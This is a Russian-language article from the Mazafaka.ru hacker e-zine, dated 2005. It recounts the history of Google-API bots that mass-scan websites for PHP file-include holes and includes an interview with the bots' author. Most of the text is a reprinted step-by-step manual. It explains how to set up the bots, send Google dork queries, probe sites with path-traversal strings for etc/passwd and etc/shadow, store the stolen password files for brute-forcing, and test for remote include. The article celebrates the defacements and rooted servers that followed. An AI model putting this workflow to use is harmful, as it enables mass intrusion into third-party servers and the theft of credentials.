Появление этого материала, в общем-то уже устаревшего, в этом номере, обязано недавнему заявлению от AV компаний. Читайте об этом в разделе News. Для восстановления справедливости, и восстановления реального развития событий в этой области и появилась эта статья здесь. Все началось еще в 2003 году. 14 ноября, один из постоянных посетителей форума на mazafaka.ru запостил сообщение о неких ботах, которые позволяют быстро находить php-include баг на сайтах, используя для этого Google (исходники ботов были выложены немного позже - но в хистори файле именно это число отмечено, как дата релиза первой версии). Мне удалось задать пару вопросов, лично, создателю ботов. Привожу здесь текст этого небольшого интервью, которое состоялось у меня через icq:

PoizOn: Привет! Я знаю что у тебя мало времени, поэтому сразу перейду к вопросам. Как появилась идея создать эти боты?

usun: Хай, сорри я редко в аську теперь выхожу - работы много. А боты появились именно под воздействием mazafaka.ru Я пару раз видел, что появлялись вопросы что можно сотворить с багом, когда доступны на просмотр файлы сервера, например etc/passwd. Я решил сначала ради любопытства посмотреть, а как легко такие дырки можно обнаружить, используя обыкновенные посковики? Опять же на мазе читал статью про расширенный синтаксис поиска в гугле и как его можно для поиска конфиденциальной инфы навести. Используя этот синтаксис inurl:"index.php?file=" я вручную обнаружил, что оказывается таких дырок дофига, и поиск легко можно алгоритмизировать просто вводя что-то типа http://site.com?file=../../../../../../../../../../../../../etc/passwd и проверяя появлялись ли волшебные строчки вида 'root:' :) Я до этого слышал, что Google предоставляет свободно - вебсервис для автоматизации поиска - Google API. Все это легко связалось вместе и я сходу написал сначала черновую версию ботов (которые с консоли просто работали), использующих веб сервис гугла. Потом, я с удивлением обнаружил, что таким образом удается найти херову тучу уязвимых серверов, а Хмелик (Khmelic), предложил еще более интересную дырку, когда доступен внешний инклуд, и которая так же легко искалась гуглом и проверялась. Так я в итоге выложил первую версию ботов. Затем они стали пользоваться некоторой популярностью и я решил их кардинально улучшить. Еще пару лет до этого, я делал проект - framework, для создания систем автоматизации, и у меня был базовый движок, на котором могли довольно устойчиво и многопоточно работать различные роботы - именно туда (JobsFramework) я и перевел дальнейшие версии ботов. Позже - летом, я защищал диссертацию по IT и использовал разработки своего движка ботов, но после этого, вынужден был прекратить работы над ним, из-за нехватки времени.

PoizOn: То есть ты окончательно закрыл свой проект, и считаешь это уже историей и не более того?

usun: Нет, я все же лелею надежду выложить все исходники с описаловом, и сделать open source проект в будущем - как появиться время :)

PoizOn: Спасибо за рассказ о ботах, удачи тебе и успехов в дальнейших проектах!

usun: Да не за что - тебе спасибо :). Кстати - я в марте женюсь, так что почти свадебный подарок, эта статья о ботах.

PoizOn: О! Я от всей mazafaka.ru поздравляю тебя с приближением этого события. Думаю остальные присоединяться ко мне в разделе regardz :-).

Вот такой вот разговор. Но мы вернемся в январь 2004 года.

Сразу интерес к ботам не возник, хотя поиск подобных сайтов был любимым занятием тогдашней тусовки на мазе, так как давал во многих случаях web-shell, или чтение файлов на сервере. Root-аккуаунты брали просто и много, тем более ptrace-баг был очень распрастранен (особенно удачлив был Khmelic, позже он написал статью о том как рутать серваки используя этот баг, и выложил ее на форуме в разделе Hacking (как мы видим из интервью с usun'ом, он был одним из тех кто подкинул ему идею, заложенную в ботах). Интерес к ботам постепенно возрастал. На бэкграунде этого интереса, трудился __SPiRiT__, который активно взаимодействовал с usun'ом, и пытался разобратся с настройкой и использованием этих ботов. Результатом этого взаимодействия стала статья (мануал) по настройке ботов "для поиска полуфабрикатов" - (полуфабрикатами они были названы потому, что использовались найденные сайты зачастую только для дефейса, и именнно такой стикер висел в разделе Hacking - "Полуфабрикаты для дефейса"). Текст этой статьи был выложен на форуме 6 января 2004 года, его я приведу здесь без изменений.

Posted: Tue Jan 06, 2004 12:08 pm __SPiRiT__

И так у вас должно быть
1. j2sdk-1_4_1_06-windows-i586.exe
2. jakarta-tomcat-4.1.29-LE-jdk14.exe
3. bots_usun_20040105.zip
4. Немного терпения

* все боты должны запускаться из директории с ботом где находится папка "asada1"
** все боты лучше запускать через сефнс MS-DOS

Приступим.

Вы скачали все вышеперечисленные файлы (если нет то вам на yandex.ru и быстро найдёте их)

1) Создаём каталог "fucking_bot"в корне диска "С:\" (вы можете создать любой, но так как я описываю будет проще), в нём директории "bot_find", "bot_check", "bot_checkin", "jdk", "tomcat".

2) Запускаем "j2sdk-1_4_1_06-windows-i586.exe" и выбираем путь установки в "С:\fucking_bot\jdk"

3) Запускаем "jakarta-tomcat-4.1.29-LE-jdk14.exe" и выбираем путь установки в "С:\fucking_bot\tomcat\". В конце установки у вас спросят на каком порту будет стоять сервер и логин и пароль. Я указал 777 порт, логин admin, пароль admin.

4) Проверяем наш сервер. В браузере пишем http://127.0.0.1:777 , если увидели страницу с менюхой и т.п. то всё настроено, если нет повторите п.1 и п.2

5) Разархивируем архив "bots_usun_20031114.zip" в папку "С:\fucking_bot\000"

6) Скопируем "c:\fucking_bot\000\GoogleAPIClient\ClientGoogleAPI.war" в "c:\fucking_bot\tomcat\webapps"

7) Остановим и запустим сервер.

8) Теперь у нас появится "c:\fucking_bot\tomcat\webapps\ClientGoogleAPI". Это директория которая будет видна через браузер как "http://127.0.0.1:777/ClientGoogleAPI/"

9) Теперь в "c:\fucking_bot\tomcat\webapps\ClientGoogleAPI\WEB-INF\classes\asada1\bot\checkurl\CheckUrlRobot.properties" и в "c:\fucking_bot\tomcat\webapps\ClientGoogleAPI\WEB-INF\classes\asada1\bot\util\Logger.properties"заменим первые две строки на
#Root for logging files.
root=c:\\fucking_bot\\bot_find\\

это мы вибираем директорию с которой будет работать данный бот

10) Этот бот GoogleAPIClient служит для автоматизации поиска и подготовки урлов для urls.dat файла, который будет использован в п.2 Этот модуль должен быть расположен на application server-е, например TomCat 4
и запускается через TestAPI.jsp (что-то типа http://localhost:777/ClientGoogleAPI/jsp/TestAPI.jsp). Прежде чем его использовать надо зарегистрировать аккаунт (см. http://www.google.com/apis) и получить лицензионный ключ, который дает право на 1000 запросов поисковых в день на Google-ский вебсервис.
Этот ключ надо прописать в TestAPI.jsp (см. read.me). Если 1000 мало - то зарегьте еще несколько разных акков. Мне хватало 2-3 акка всегда.
При вызове TestAPI.jsp - вам будет предложена поисковая форма.
URL Parameter - это параметр в URL, который вы проверяете на инклуд файла. Его можно не указывать и тогда проверятся будут все параметры в найденном URL.
Query - строка запроса в Google (типа: inurl:"*.php?file=")
По ходу нахождения URL-ов подозрительных на инклуд файлов (значение параметров проверяется просто на наличие в них '.' - примитивно, но работает )
они некоторыми порциями дописываются в urls.dat (при этом проверяется чтобы не было дубликатов по имени хоста) и выводятся HTTP ответ.
Кстати, поиск по запросу идет до тех пор пока есть результаты поиска и втечение какого-то настраиваемого в JSP количества порций (константа MAX_FAIL_ATTEMPTS) был хоть один URL с подозрением
на инклуд файла - это позволяет прекращать поиск, если был введен неудачный запрос или если начинают идти в результате сплошные дубликаты - уже зарегистрированные в urls.dat

11) CheckURLsBot - непосредственная чекалка подготовленных URL-ов в urls.dat файле (см. доки за подробностями формата этих урлов)
Запускной класс asada1.bot.checkurl.CheckUrlRobot метод execute (пример вызова как standalone application см. метод main) - в качестве параметра в
конструктор имя конфигурационного ресурса (он будет подниматься через java.util.ResourceBundle)
Проверка урлов осуществляестя сначала на доступность etc/passwd файла, затем если он доступен проверяется если в нем пароли, если нет, то проверяется
на доступность etc/shadow. Если доступен etc/passwd то также проверяется доступность внешнего инклуда (в урл, вместо ..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
подставляется ссылка на какой-то web ресурс известный вам и смотрится содержит ли ответ от такого url какой-то контрольный текст из вашего внешнего подключаемого ресурса - это все настраивается в конфиг. файле)
Если для урла недоступно etc/passwd - то он помещается в список badurls.dat, в обратном случае он помещается в goodurls.dat.
Если возникла ошибка (истек срок, отведенный на проверку одного урла - эта величина настраивается; или если оборвался коннекшен и т.п.) - то такой урл пропускается и некуда
не записываетя - при следующем запуске этого модуля он будет проверен повторно (если он стабильно обваливается, то его лучше исключить из urls.dat и больше не чекать - разве что вручную)
Если в урле доступен etc/passwd - то если там есть пароли или доступен etc/shadow то файл с паролями записывается в файл с именем <имя_хоста_урла>.pass в противном случае ответ записывается в <имя_хоста_урла>.empty -
инофрмация оттуда в дальнейшем может быть использована для брута или чего-нибудь еше.

12) Скопируйте CheckURLsBot в "c:\fucking_bot\tomcat\webapps\". В "c:\fucking_bot\tomcat\webapps\CheckURLsBot\asada1\bot\checkurl\GetUrlsSettings.properties" и "c:\fucking_bot\tomcat\webapps\CheckURLsBot\asada1\bot\util\Logger.properties" первые две строки заменить на

Code:
#Application root.
root=c:\\fucking_bot\\bot_check\\

это мы вибираем директорию с которой будет работать данный бот

а в "C:\fucking_bot\tomcat\webapps\CheckURLsBot\asada1\bot\util\Logger.properties" посдеднюю строку на
Code:
consoleEnabled=true

это мы вибираем чтобы бот вёл лог по ходу процесса чеканья урлов и не писал лог в файл, а выводил на экран

13) После завершения поиска ботом GoogleAPIClient надо скопировать "C:\fucking_bot\bot_find\urls.dat" в "C:\fucking_bot\bot_check" .
Запускается этот бот из директории "c:\fucking_bot\tomcat\webapps\CheckURLsBot" командой (через MS-DOS)
java -classpath .;bots-checkurl-bots-20040105.jar;bots-common-20031114.jar;c:\fucking_bot\jdk\jre\lib\rt.jar asada1.bot.checkurl.CheckUrlRobot

14) DomainZonesBotForGoogleAPIClient - появился по следующей причине.
Дело в том что Google API позволяет работать только впределах 100 порций результата поиска, поэтому
запросы вида inurl:"*.php?page=" не могут быть полностью обработаны из=за огромного их количества.
Для решения это проблемы я использовал дополнительное дробление по доменам первого уровня. Тоесть использовал запросы вида:
inurl:"*.php?page=" site:de - это позволило более эффективно вести поиск для распространенным шаблонов урлов, но привело к проблеме, что надо врчучную перебирать урлы видов
inurl:"*.php?page=" site:de, inurl:"*.php3?page=" site:de, inurl:"*.php4?page=" site:de да еще и для каждого домена первого уровня - гемор.
Именно поэтому и возник этот модуль, который проводит автоматически все такие запросы по всем доменам первого уровня, записанных в
zones.dat к модулю из п.2. Если домен проверен без ошибок, то он записывается в checkedzones.dat и повторно не проверяется.
Даже если у вас закончился лимит запросов для текущего лицензионного ключа, вы просто в TestAPI.jsp пробиваете новый ключ и снова
запускаете модуль, описываемый в текущем пункте - он продолжит проверять непроверенные доменные зоны. После того как вы полностью проверили какой-то один шаблон урла
по всем доменным зонам, я советую удалить checkedzones.dat и использовать сформированный urls.dat в модуле из п.1
Запускной класс asada1.bot.checkurl.client.ClientRobot метод execute (пример вызова как standalone application см. метод main)

Запускается он java -classpath .;bots-bot4googleClient-20031114.jar;bots-common-20031114.jar;C:\fucking_bot\jdk\jre\lib\rt.jar asada1.bot.checkurl.client.ClientRobot

В файле "C:\fucking_bot\tomcat\webapps\DomainZonesBotForGoogleAPIClient\asada1\bot\checkurl\client\ClientSettings.properties"
надо заменить первые две строки на

Code:
#Application root.
root=c:\\fucking_bot\\bot_domain\\

это мы вибираем директорию с которой будет работать данный бот

а в "C:\fucking_bot\tomcat\webapps\DomainZonesBotForGoogleAPIClient\asada1\bot\checkurl\client\RobotSettings.properties"
надо сделать чтоб было написано

Code:
google.client.url=http://localhost:777/ClientGoogleAPI/jsp/TestAPI.jsp
google.client.paramName=view

google.client.url - это ссылка на нашу форму для поиска
google.client.paramName - это значение которое подставляется после inurl:"*.php?

В "C:\fucking_bot\tomcat\webapps\DomainZonesBotForGoogleAPIClient\asada1\bot\util\Logger.properties"

заменить первые две строки на

Code:
#Root for logging files.
root=c:\\fucking_bot\\bot_domain\\

это мы вибираем директорию с которой будет работать данный бот

15) CheckURLsBotForExternalIncludeOnly - это видо измененный бот, который является урезанной версией Check URL бота и проверяет урлы из urls.dat только на внешний инклуд, без проверки доступности etc/passwd.
его надо поместить в папку отличную от папки в которой находится CheckURLsBot. Я скопировал его в "C:\fucking_bot"
надо в "C:\fucking_bot\CheckURLsBotForExternalIncludeOnly\asada1\bot\checkurl\GetUrlsSettings.properties" первые две строки заменить на

Code:
#Application root.
root=c:\\fucking_bot\\bot_checkin\\

это мы вибираем директорию с которой будет работать данный бот

16) В "C:\fucking_bot\CheckURLsBotForExternalIncludeOnly\asada1\bot\checkurl\GetUrlsSettings.properties"
надо

Code:
#Parameter value that makes possible to check whether external include is available
#(URL to some 'control' file).
urlsforupload.parameter.value=http://domain/path/controlfile

заменить на

Code:
urlsforupload.parameter.value=http://tyt.by

Что это? Бот вместо ..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd подставляет наш урл "http://tyt.by"

и в этом же файле надо заменить

Code:
urlsforupload.response.success=some_control_text_in_control_file

на

Code:
urlsforupload.response.success=tyt.by

Что это? Когда бот подставляет наш урл "http://tyt.by", он ищет так сказать строки по которым можно узнать вставилась страница или нет.

17) Запускается он
java -classpath .;bots-checkurl4externalonly-20040105.jar;bots-common-20031114.jar;C:\fucking_bot\jdk\jre\lib\rt.jar asada1.bot.checkurl.CheckUrlRobot

Если внешний инклуд возможен то в папке "c:\fucking_bot\bot_checkin" создаётся urlsforupload.dat в котором содержатся уязвимые сайты

© __SPiRiT__ & Usun

После этой статьи - количество полуфабрикатов значительно увеличилось (так же как и количество дефейсов и порутанных серверов), так как боты стали популярны, и понятны большинству народа, которые стали сотнями регать ключи на гугл и прочесывать интернет с помощью Google. Через несколько месяцев такой активной работы, (плюс ко всему, боты usun постоянно апдейтил, и делал все более дружественными для пользователя) сайты с php-include стали встречаться все реже и реже. Админы начали шевелиться, и менять конфиги в php.ini :-). Но эта эра, господства ботов usun'a еще не закончилась. Идея понравилась народу, который мог еще кое-что кодить. Через некоторое время said запостил в разделе Programming статью о использовании Google API для взаимодействия с этим поисковиком и в качестве примера реализовал это на Perl. Еще позже появилась программа ftp-hakka от Khmelic'a, написанная на Delphi и работающая с google, (она использовалась для брута ftp аккаунтов), почти одновременно с ней вышла программа sql-ninja написанная мной, которая опять же работала с google, используя все те же механизмы что и боты usun'a (Google API), она использовалась для поиска sql-inject'а, поддерживала прокси и многопоточность (справедливости ради, надо заметить, что идея поиска sql-inject'a через гугл принадлежала опять же usun'у, но алгоритм поиска в sql-ninja немного отличался). Написана она была благодаря статье said'a (а значит и благодаря появлению ботов usun'a).

Вообще, анализируя всю эту историю, я вижу что создание и развитие этих ботов - результат всеобщего взаимодейстивя в данной тусовке. Из этого можно сделать вывод об успехе этого проекта, если он будет когда либо продолжен в качестве open source. Также, я надеюсь, что теперь, вам станет понятна тормознутость AV компаний, которые только теперь предлагают что-то подобное (после эпидемии perl'ового червя :-))). В общем - следите за рекламой и вы будете на шаг впереди. Дистрибутив самых первых ботов или более поздние версии вы можете найти в интернете, или поспрашивать у старожил форума mazafaka.ru (ссылка на последние версии приводиться в этой статье).

Автор: PoizOn /11.02.05/ ©

Mazafaka.Ru - E-Zine - 2005 ©